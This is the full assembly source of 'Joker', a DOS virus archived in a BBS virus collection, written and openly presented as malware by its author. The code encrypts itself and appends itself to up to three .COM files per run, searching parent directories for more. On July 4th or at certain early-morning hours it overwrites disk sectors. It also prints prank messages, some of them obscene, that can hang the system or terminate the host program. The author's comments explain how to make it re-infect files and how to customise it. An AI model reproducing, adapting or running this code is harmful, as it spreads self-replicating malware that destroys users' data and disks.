home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / joker.asm < prev    next >
Assembly Source File  |  1991-11-10  |  16KB  |  541 lines

  1.     title " Joker! virus.  Written by The BOOT SECTOR Infector ... "
  2. ;
  3. ; Joker - This is a remake of the deceased "Joker/Jocker" virus.  The original
  4. ;      had multiple programming errors in it that kept it from replicating.
  5. ;      My version is much more successful.
  6. ;
  7.  
  8.  
  9.                             page 255,80
  10. code segment                        word public 'code'
  11.                             assume cs:code,ds:code
  12.                             org    100h
  13. main proc;edure
  14.  
  15.  
  16. ;EQUates...
  17.     idc        equ    69h        ;ID character - (note: 69)
  18.     cr        equ    13        ;ASCII for carriage return
  19.     lf        equ    10        ;ASCII for line feed
  20.  
  21. ;End codes.  These determine what happens after the string is displayed.
  22.  
  23.     terminate    equ    0    ;Terminate program after display
  24.     halt        equ    1    ;Cause the system to hang after display
  25.     SimulateCritErr    equ    2    ;Simulate the critical error handler
  26.     return2host    equ    3    ;Resume program immediately
  27.     FlashFloppy    equ    4    ;Wait for a key, then reset Drive A:
  28.     WaitKey        equ    5    ;Wait for a key, then resume program
  29.     PauseKey    equ    6    ;Same thing, but uses a pause message
  30.     StackError    equ    7    ;Cause a stack overflow (halts system)
  31.  
  32.  
  33.  
  34. tof:                            ;Top-Of-File
  35.         jmp    begin                ;Skip over program
  36. idchar:        db    idc                ;ID character
  37.  
  38. HostProgram:    nop                    ;First run copy only!
  39.         nop                    ;First run copy only!
  40.  
  41. first_four:    nop                    ;First run copy only!
  42. address:    int    20h                ;First run copy only!
  43. check:        nop                    ;First run copy only!
  44.  
  45. begin:        call    nextline            ;Push IP+3 onto stack
  46. nextline:    pop    bp                ;mov    bp,ip
  47.         sub    bp,offset nextline        ;bp=disp. for mem locs
  48.  
  49.         push    ax                ;Save AX
  50.         call    cryptor                ;Decrypt
  51.         jmp    short retloc            ;Continue program
  52.  
  53. cryptor:    mov    al,[bp+offset encrypt_val]    ;encrypt val
  54.         lea    si,[bp+offset toec]        ;Top Of Encrypted Code
  55.         mov    cx,offset eoec-offset toec    ;Length of  "      "
  56. cryptorloop:    xor    [si],al                ;en/de crypt
  57.         rol    al,cl                ;change code #
  58.         inc    si                ;Next char please!
  59.         loop    cryptorloop            ;loop if necessary
  60.         ret                    ;Return to caller
  61.         
  62. infect:        call    cryptor                ;Encrypt code
  63.         pop    cx                ;Restore CX for INT 21
  64.         int    21h                ;Call DOS
  65.         call    cryptor                ;Decrypt code
  66.         ret                    ;Go back
  67.  
  68. toec:;───────────────────────────────────────────────────Top Of Encrypted Code
  69. InfectIt:    push    cx                ;Save CX for sub
  70.         jmp    infect
  71.  
  72. retloc:        pop    ax                ;Restore AX
  73.         xor    di,di                ;DI = 0
  74.  
  75.         cli                    ;Disable interrupts
  76.         mov    ss,di                ;Set up stack at:
  77.         mov    sp,2F0h                ;   0000:02F0
  78.         sti                    ;Enable interrupts
  79.  
  80.         mov    si,96h                ;Vector for INT 24h
  81.         mov    bx,ss:[si]            ;BX = offset in segment
  82.         mov    cx,ss:[si+2]            ;CX = segment
  83.         lea    dx,[bp+offset int24handler]    ;CS:DX -} local handler
  84.         mov    ss:[si],DX            ;Save offset
  85.         mov    ss:[si+2],cs            ;Save segment
  86.         mov    si,es:[di+2F8h]            ;Check operation mode
  87.         cmp    si,4643h            ;'CF' if already TSRed
  88.         jne    GoOn                ;Nope, jmp
  89.         jmp    return                ;Yes, don't do anything
  90.  
  91. GoOn:        mov    cs:[di+4Ch],bx            ;use unused part of PSP
  92.         mov    cs:[di+4Eh],cx            ; to save BX and CX
  93.         push    cs                ;Copy CS ...
  94.         pop    es                ; ... to DS
  95.  
  96.         mov    byte ptr [bp+offset infected],0    ;Reset infection count
  97.         mov    byte ptr [bp+offset max2kill],3 ;Stop after 3 or less
  98.  
  99. GoOn2:        lea    si,[bp+offset first_four]    ;Original first 4 bytes
  100.         mov    di,offset tof            ;TOF never changes
  101.         cld                    ;Read left-to-right
  102.         movsw                    ;Copy the 4 bytes
  103.         movsw                    ;Copy the 4 bytes
  104.  
  105.         mov    ah,1Ah                ;Set DTA address ...
  106.         lea    dx,[bp+offset DTA]        ; ... to *our* DTA
  107.         int    21h                ;Call DOS to set DTA
  108.  
  109.         mov    ah,4Eh                ;Find First ASCIIZ
  110.         lea    dx,[bp+offset filespec]        ;DS:DX -} '*.COM',0
  111.         lea    si,[bp+offset filename]        ;Point to file
  112.         push    dx                ;Save DX
  113.         jmp    short continue            ;Continue...
  114.  
  115. return:        mov    ah,1ah                ;Set DTA address ...
  116.         mov    dx,80h                ; ... to default DTA
  117.         int    21h                ;Call DOS to set DTA
  118.         xor    di,di                ;DI= 0
  119.         mov    es,di                ;ES= 0
  120.         mov    si,96h                ;Vector for INT 24h
  121.         mov    bx, cs:[di+4Ch]            ;Restore from saved BX
  122.         mov    word ptr es:[si+0], bx        ;Place back into vector
  123.         mov    cx, cs:[di+4Eh]            ;Restore from saved CX
  124.         mov    word ptr es:[si+2], cx        ;Place back into vector
  125.         push    cs                ;Move CS ...
  126.         pop    es                ; ... to ES
  127.  
  128.         mov    ax,[bp+offset SavedAX]        ;Restore AX
  129.         xor    bx,bx                ;BX= 0
  130.         mov    cx,bx                ;CX= 0
  131.         mov    dx,cx                ;DX= 0
  132.         mov    si,dx                ;SI= 0
  133.         mov    di,si                ;DI= 0
  134.         mov    sp,0FFFEh            ;SP= FFFEh (normal)
  135.         mov    bp,100h                ;BP= 100h (RETurn addr)
  136.         push    bp                ; Put on stack
  137.         mov    bp,ax                ;BP= 0
  138.         ret                    ;JMP to 100h
  139.  
  140. nextfile:    or    bx,bx                ;Did we open the file?
  141.         jz    skipclose            ;No, so don't close it
  142.         mov    ah,3Eh                ;Close file
  143.         int    21h                ;Call DOS to close it
  144.         xor    bx,bx                ;Set BX back to 0
  145. skipclose:    mov    ah,4Fh                ;Find Next ASCIIZ
  146.  
  147. continue:    pop    dx                ;Restore DX
  148.         push    dx                ;Re-save DX
  149.         xor    cx,cx                ;CX= 0
  150.         xor    bx,bx
  151.         int    21h                ;Find First/Next
  152.         jnc    skipjmp
  153.         jmp    NoneLeft            ;Out of files
  154.  
  155. skipjmp:    mov    ax,3D02h            ;open file
  156.         mov    dx,si                ;point to filespec
  157.         int    21h                ;Call DOS to open file
  158.         jc    nextfile            ;Next file if error
  159.  
  160.         mov    bx,ax                ;get the handle
  161.         mov    ah,3Fh                ;Read from file
  162.         mov    cx,4                ;Read 4 bytes
  163.         lea    dx,[bp+offset first_four]    ;Read in the first 4
  164.         int    21h                ;Call DOS to read
  165.  
  166.         cmp    byte ptr [bp+offset check],idc    ;Already infected?
  167.         je    nextfile            ;Yep, try again ...
  168. ;NOTE: Delete the two lines above if you want it to re-infected programs.
  169.  
  170.         cmp    byte ptr [bp+offset first_four],77  ;Mis-named .EXE?
  171.         je    nextfile            ;Yep, maybe next time!
  172.  
  173.         mov    ax,4202h            ;LSeek to EOF
  174.         xor    cx,cx                ;CX= 0
  175.         xor    dx,dx                ;DX= 0
  176.         int    21h                ;Call DOS to LSeek
  177.  
  178.         cmp    ah,0F8h                ;Longer than 62K?
  179.         ja    nextfile            ;Yep, try again...
  180.         mov    [bp+offset addr],ax        ;Save call location
  181.  
  182.         mov    ah,40h                ;Write to file
  183.         mov    cx,4                ;Write 4 bytes
  184.         lea    dx,[bp+offset first_four]    ;Point to buffer
  185.         int    21h                ;Save the first 4 bytes
  186.  
  187.         mov    ah,[bp+offset encrypt_val]    ;Get code number
  188.         inc    ah                ;add 1
  189.         adc    ah,0                ;increment if it's zero
  190.         mov    [bp+offset encrypt_val],ah    ;Save new code number
  191.  
  192.         mov    ah,40h                ;Write to file
  193.         mov    cx,offset eof-offset begin    ;Length of target code
  194.         lea    dx,[bp+offset begin]        ;Point to virus start
  195.         call    InfectIt            ;Exempt from encryption
  196. ComeBackHere:    mov    ax,4200h            ;LSeek to TOF
  197.         xor    cx,cx                ;CX= 0
  198.         xor    dx,dx                ;DX= 0
  199.         int    21h                ;Call DOS to LSeek
  200.  
  201.         mov    ax,[bp+offset addr]        ;Retrieve location
  202.         inc    ax                ;Adjust location
  203.  
  204.         mov    [bp+offset address],ax        ;address to call
  205.         mov    byte ptr [bp+offset first_four],0E9h  ;JMP rel16 inst.
  206.         mov    byte ptr [bp+offset check],idc    ;EOFMARK
  207.  
  208.         mov    ah,40h                ;Write to file
  209.         mov    cx,4                ;Write 4 bytes
  210.         lea    dx,[bp+offset first_four]    ;4 bytes are at [DX]
  211.         int    21h                ;Write to file
  212.  
  213.         inc    byte ptr [bp+offset infected]    ;increment counter
  214.         dec    byte ptr [bp+offset max2kill]    ;decrement counter
  215.         jz    TheEnd                ;If 0 then End
  216.  
  217.         inc    byte ptr [bp+offset encrypt_val]    ;change code #
  218.         adc    byte ptr [bp+offset encrypt_val],0    ;adjust if 0
  219.         jmp    nextfile                ;Next victim!
  220.  
  221. NoneLeft:    cmp    byte ptr [bp+offset infected],3    ;At least 3 infected?
  222.         jae    TheEnd                ;The party's over!
  223.  
  224.         mov    di,100h                ;DI= 100h
  225.         cmp    word ptr [di],20CDh        ;an INT 20h?
  226.         je    TheEnd                ;Don't go to prev. dir.
  227.  
  228.         lea    dx,[bp+offset prevdir]        ;'..'
  229.         mov    ah,3Bh                ;Set current directory
  230.         int    21h                ;CHDIR ..
  231.         jc    TheEnd                ;We're through!
  232.         mov    ah,4Eh
  233.         jmp    continue            ;Start over in new dir
  234.  
  235. TheEnd:        xor    di,di                ;DI= 0
  236.         mov    es,di                ;ES= 0
  237.         mov    ah,2ah                ;Get date
  238.         int    21h                ;Do it
  239.         cmp    dl,4                ;4th of the month?
  240.         jne    test2                ;Nope, second test
  241.         cmp    dh,7                ;July?
  242.         jne    test2                ;Nope, second test
  243.         xor    ax,ax                ;Sector 0
  244.         jmp    Kill                ;Kill the disk now...
  245.  
  246. test2:        mov    ah,2ch                ;Get time
  247.         int    21h                ;Do it
  248.         or    cl,cl                ;On the hour? (x:00 xM)
  249.         jnz    GiveUp                ;Return to program
  250.         cmp    ch,6                ;Midnight to 5 AM ???
  251.         jnl    GiveUp                ;Return to program
  252.         add    cl,ch                ;Add first number
  253.         mov    ax,cx                ;Transfer to AX
  254.         cbw                    ;Zero out AH
  255.         add    al,dh                ;Add DL to AL
  256.         adc    al,dl                ;Add DL and carry flag
  257.         adc    ah,0                ;Add carry to AH
  258.         or    ax,ax                ;AX = 0 ???
  259.         jnz    Kill                ;Kill the disk now...
  260.         inc    ax                ;Well, adjust first...
  261.  
  262. Kill:        mov    dx,ax                ;Sector number
  263.         mov    cx,1                ;One at a time....
  264.         xor    bx,bx                ;Point at PSP
  265.         mov    ah,19h                ;Get current disk
  266.         int    21h                ;Call DOS to ^
  267.         int    26h                ;Now kill the disk
  268.         
  269. GiveUp:        mov    bx,offset message_table        ;point to table
  270.  
  271.         mov    ah,2ch                ;Get time
  272.         int    21h                ;Call DOS to ^
  273.         inc    dh                ;(0-59)
  274.  
  275. timeloop:    cmp    dh,msgs                ;mapped yet?
  276.         jl    timedone            ;Yes, jump
  277.         sub    dh,msgs                ;try to map it
  278.         jmp    short timeloop            ;and check out work
  279.  
  280. timedone:    mov    al,dh                ;AL gets msg #
  281.         mov    cl,al                ;Save in CL for CritErr
  282.         cbw                    ;AH gets 0
  283.         shl    ax,1                ;AX = AX * 2
  284.         add    bx,ax                ;BX = index
  285.         mov    si,[bx]                ;SI points to string
  286.         mov    ch,[si-1]            ;CH is technique #
  287.         mov    dx,si                ;DX points to string
  288.  
  289.         mov    ah,9                ;Display string
  290.         int    21h                ;Call DOS to ^
  291.  
  292.         cmp    ch,terminate            ;Terminate program?
  293.         je    TerminateProg            ;Nope, next test
  294.  
  295.         cmp    ch,halt                ;Halt program?
  296.         je    $                ;Hang system if ch=halt
  297.  
  298.         cmp    ch,SimulateCritErr        ;Simulate CritErr?
  299.         je    simulate            ;yes, go do it
  300.  
  301.         cmp    ch,Return2host            ;Return to host?
  302.         je    ResumeProgram            ;yes, go do it
  303.  
  304.         cmp    ch,FlashFloppy            ;Flash drive A:?
  305.         je    FlashFlop            ;Yes, go do it
  306.  
  307.         cmp    ch,WaitKey            ;Wait for keypress?
  308.         je    zwait                ;Yes, go do it
  309.  
  310.         cmp    ch,PauseKey            ;Pause message w/ wait?
  311.         je    zpause                ;Yes, go do it
  312.  
  313.         cmp    ch,StackError            ;Stack overflow?
  314.         je    StackErr            ;Yes, go do it
  315.  
  316.     ;Invalid code, assume Return2host
  317.  
  318. ResumeProgram:    jmp    return                ;Return to caller
  319. StackErr:    call    $                ;Cause stack overflow
  320. TerminateProg:    int    20h                ;Yep, all done!
  321.  
  322. simulate:    lea    dx,[bp+offset ARIFmsg]        ;Abort, Retry ...
  323.         mov    ah,9                ;Print string
  324.         int    21h                ;Call DOS to ^
  325.  
  326.         mov    ah,1                ;Input a char
  327.         int    21h                ;Call DOS to ^
  328.  
  329.         lea    dx,[bp+offset crlf]        ;crlf
  330.         mov    ah,9                ;Print string
  331.         int    21h                ;Call DOS to ^
  332.  
  333.         cmp    al,'a'                ;Uppercase?
  334.         jb    uppercase            ;Nope, jump
  335.         sub    al,' '                ;Yes, make uppercase
  336.  
  337. uppercase:    cmp    al,'A'                ;Abort?
  338.         je    terminateprog            ;Yep, go do it.
  339.  
  340.         cmp    al,'R'                ;Retry?
  341.         jne    zskip                ;skip over "retry" code
  342.  
  343.         lea    dx,[bp+offset crlf]        ;Point to crlf
  344.         mov    ah,9                ;Print string
  345.         int    21h                ;Call DOS to ^
  346.         mov    dh,cl                ;Restore DH from CL
  347.         jmp    timedone            ;Reprint error
  348.  
  349. zskip:        cmp    al,'I'                ;Ignore?
  350.         je    ResumeProgram            ;Return to host program
  351.         cmp    al,'F'                ;Fail?
  352.         jne    simulate            ;Invalid response
  353.  
  354.         lea    dx,[bp+offset fail24]        ;Point to fail string
  355.         mov    ah,9                ;Print string
  356.         int    21h                ;Call DOS to ^
  357.         int    20h                ;Terminate program
  358.  
  359. FlashFlop:    mov    ah,1                ;Wait for keypress
  360.         int    21h                ;Call DOS to ^
  361.  
  362.         xor    ax,ax                ;Drive A:
  363.         mov    cx,1                ;Read 1 sector
  364.         mov    dx,ax                ;Start at boot sector
  365.         lea    bx,[bp+offset boot_sector]    ;BX points to buffer
  366.         int    25h                ;Flash light on A:
  367.         jmp    short ResumeProgram        ;Resume if no error
  368.  
  369. zpause:        lea    dx,[bp+offset pause]        ;Point to pause message
  370.         mov    ah,9                ;Print string
  371.         int    21h                ;Call DOS to ^
  372. zwait:
  373.         mov    ah,1                ;Wait for keypress
  374.         int    21h                ;Call DOS to ^
  375.         jmp    short ResumeProgram        ;Go on...
  376.  
  377.  
  378.  
  379.  
  380.  
  381. ARIFmsg    db    cr,lf,'Abort, Retry, Ignore, Fail?$'
  382. fail24    db    cr,lf,cr,lf,'Fail on INT 24'
  383. crlf    db    cr,lf,'$'
  384.  
  385. message_table:
  386.     dw    offset msg1
  387.     dw    offset msg2
  388.     dw    offset msg3
  389.     dw    offset msg4
  390.     dw    offset msg5
  391.     dw    offset msg6
  392.     dw    offset msg7
  393.     dw    offset msg8
  394.     dw    offset msg9
  395.     dw    offset msg10
  396.     dw    offset msg11
  397.     dw    offset msg12
  398.     dw    offset msg13
  399.     dw    offset msg14
  400.     dw    offset msg15
  401.     dw    offset msg16
  402.     dw    offset msg17
  403.     dw    offset msg18
  404.     dw    offset msg19
  405.     dw    offset msg20
  406.  
  407. msgs    db    20
  408.  
  409. ;      I tried to make it as simple as possible to change the messages
  410. ;      and add/delete them.  Each message is in the format:
  411. ;
  412. ;        db    [technique]
  413. ;[label]    db    [Text]
  414. ;
  415. ;      Where [technique] is one of the 8 codes shown at the beginning of
  416. ;      this file (terminate, halt, etc.).  This determines what the virus
  417. ;      should do after printing the message.
  418. ;        [label] is in the form "msg##" where ## is a number from 1 to
  419. ;            "msgs".  "msgs" is defined immediately before this
  420. ;            comment block.
  421. ;        [text] is a combination of text and ASCII codes, terminated by
  422. ;            either a '$' or a ,36.
  423. ;
  424. ;      If you change the number of messages the virus has, you should also
  425. ;        add/remove lines from the offset table and change the "msgs"
  426. ;        data byte appropriately.  Let's say for instance that you want
  427. ;        to remove "Program too big to fit in memory.":
  428. ;            1) Delete the line(s) with the message and the line
  429. ;                immediately before it.
  430. ;            2) Move message #20 up to message #2's position and
  431. ;                change its label from "msg20" to "msg2".
  432. ;            3) Delete the line "dw    offset msg20" from the offset
  433. ;                table.
  434. ;            4) Change the line before this comment block to:
  435. ;                "msgs    db    19"
  436. ;
  437. ; Later!
  438. ;   -The BOOT SECTOR Infector ...
  439. ;
  440.  
  441.     db    FlashFloppy    ;Waits for key, then flashes drive A:
  442. msg5    db    'I',39,'m hungry!  Insert PIZZA & BEER into drive A: and',cr,lf
  443. pause    db    'Strike any key when ready... $'
  444.  
  445.     db    SimulateCritErr    ;Prints ARIF message and responds appropriately
  446. msg1    db    'Impotence error reading user',39,'s dick$'
  447.  
  448.     db    terminate    ;Ends the program immediately
  449. msg2    db    'Program too big to fit in memory',cr,lf,'$'
  450.  
  451.     db    halt        ;Halts the system
  452. msg3    db    'Cannot load COMMAND, system halted',cr,lf,'$'
  453.  
  454.     db    terminate    ;Ends the program immediately
  455. msg4    db    'I',39,'m sorry, Dave.... but I',39,'m afraid'
  456.         db    ' I can',39,'t do that!',cr,lf,'$'
  457.  
  458.     db    WaitKey        ;Waits for a keypress, then runs the program
  459. msg6    db    'Format another? (Y/N)? $'
  460.  
  461.     db    StackError    ;Generates a stack overflow (halts the system)
  462. msg7    db    'Damn it!  I told you not to touch that!$'
  463.  
  464.     db    terminate    ;Ends the program immediately
  465. msg8    db    'Suck me!',cr,lf,'$'
  466.  
  467.     db    SimulateCritErr    ;Prints ARIF message and responds appropriately
  468. msg9    db    'Cocksucker At Keyboard error reading device CON:$'
  469.  
  470.     db    terminate    ;Ends the program immediately
  471. msg10    db    7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf
  472.     db    'I',39,'m sorry, but your call cannot be completed as dialed.'
  473.     db    cr,lf,'Please hang up & try your call again.',cr,lf,'$'
  474.  
  475.     db    terminate    ;Ends the program immediately
  476. msg11    db    'No!',cr,lf,cr,lf,'$'
  477.  
  478.     db    halt        ;Halts the system
  479. msg12    db    'Panic kernal mode interrupt$'
  480.  
  481.     db    WaitKey        ;Waits for a keypress, then runs the program
  482. msg13    db    'CONNECT 1200½',cr,lf,cr,lf,'$'
  483.  
  484.     db    return2host    ;Runs host program immediately
  485. msg14    db    'Okay, okay!  Be patient! ...',cr,lf,'$'
  486.  
  487.     db    terminate    ;Ends the program immediately
  488. msg15    db    'And if I refuse?',cr,lf,'$'
  489.  
  490.     db    return2host    ;Runs host program immediately
  491. msg16    db    'Fuck the world and its followers!',cr,lf,'$'
  492.  
  493.     db    return2host    ;Runs host program immediately
  494. msg17    db    'You are pathetic, man... you know that?',cr,lf,'$'
  495.  
  496.     db    terminate    ;Ends the program immediately
  497. msg18    db    'Cum on!  Talk DIRTY to me !!!',cr,lf,'$'
  498.  
  499.     db    terminate    ;Ends the program immediately
  500. msg19    db    'Your coprocessor wears floppy disks!',cr,lf,'$'
  501.  
  502.     db    PauseKey    ;Waits for keypress (SAKWR), then runs host prg
  503. msg20    db    'Joker! ver αα by TBSI!',cr,lf
  504.     db    'Remember!  EVERYTHING',39,'s bigger in Texas!',cr,lf,'$'
  505.  
  506. int24handler:    xor    al,al                ;Ignore the error
  507.         iret                    ;Interrupt return
  508.  
  509.  
  510. filespec:    db    '*.COM',0            ;File specification
  511. prevdir:    db    '..',0                ;previous directory
  512. max2kill    db    3                ;max. files to infect
  513.  
  514. eoec:;───────────────────────────────────────────────────End Of Encrypted Code
  515. VersionNumber    dw    100h                ;Version 1.00
  516. encrypt_val    db    0                ;1st-run copy only
  517.  
  518. ; None of this information is included in the virus's code.  It is only used
  519. ; during the search/infect routines and it is not necessary to preserve it
  520. ; in between calls to them.
  521.  
  522. eof:
  523. DTA:
  524.  
  525.         db    21 dup (?)            ;internal search's data
  526. attribute    db    ?                ;attribute
  527. file_time    db    2 dup (?)            ;file's time stamp
  528. file_date    db    2 dup (?)            ;file's date stamp
  529. file_size    db    4 dup (?)            ;file's size
  530. filename    db    13 dup (?)            ;filename
  531.  
  532. SavedAX        dw    ?                ;Used to save AX
  533. infected    db    ?                ;infection count
  534. addr        dw    ?                ;Address
  535.  
  536. boot_sector:
  537.  
  538.                             main endp;rocedure
  539.                             code ends;egment
  540.  
  541.             end main